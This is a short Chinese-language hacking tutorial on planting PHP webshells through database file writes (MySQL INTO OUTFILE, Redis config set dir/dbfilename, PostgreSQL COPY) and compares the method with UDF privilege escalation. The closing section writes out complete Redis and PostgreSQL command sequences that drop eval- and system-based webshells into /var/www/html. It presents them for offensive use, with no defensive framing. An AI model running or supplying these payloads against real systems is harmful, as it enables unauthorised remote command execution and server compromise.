前言
写马提权其实跟UDF提权很像,两者的利用条件差不多,不过写马提权操作步骤比UDF提权要简单一些。
相同点:
1、secure_file_priv 都不能为null
2、都要导入文件到目标服务器中
3、都要知道绝对路径
4、都要root权限
不同点:
1、写马提权知道网站绝对路径是为了后续连接木马,UDF提权知道绝对路径是为了将DLL文件写入到目标服务器
2、两者导入的文件类型不同,写马提权导入的文件是服务器可以解析的木马文件,UDF提权只能是DLL文件
实操
1、写入木马
通过into dumpfile或者into outfile 将一句话木马写入到目标服务器。在箭头指向处就是木马的连接地址。
2、验证木马写入成功
3、使用蚁剑连接木马文件
总结
本文只是针对MySQL数据库写马进行了实操训练,redis数据库以及PostgreSQL数据库也可以通过写马进行提权。
redis数据库的webshell代码为:
config set dir /var/www/html/ # 网站根路径
config set dbfilename shell.php
set 1 "<?php @eval($_POST['123']);?>"
save
PostgreSQL的webshell代码为:
drop table pwn;
create table pwn (t TEXT);
insert into pwn(t) values ('<?php @system("$_GET[cmd]");?>');
select * from pwn;
copy pwn(t) to '/var/www/html/cmd.php';
drop table pwn;
copy (select '<?php phpinfo();?>') to '/var/www/html/cmd.php';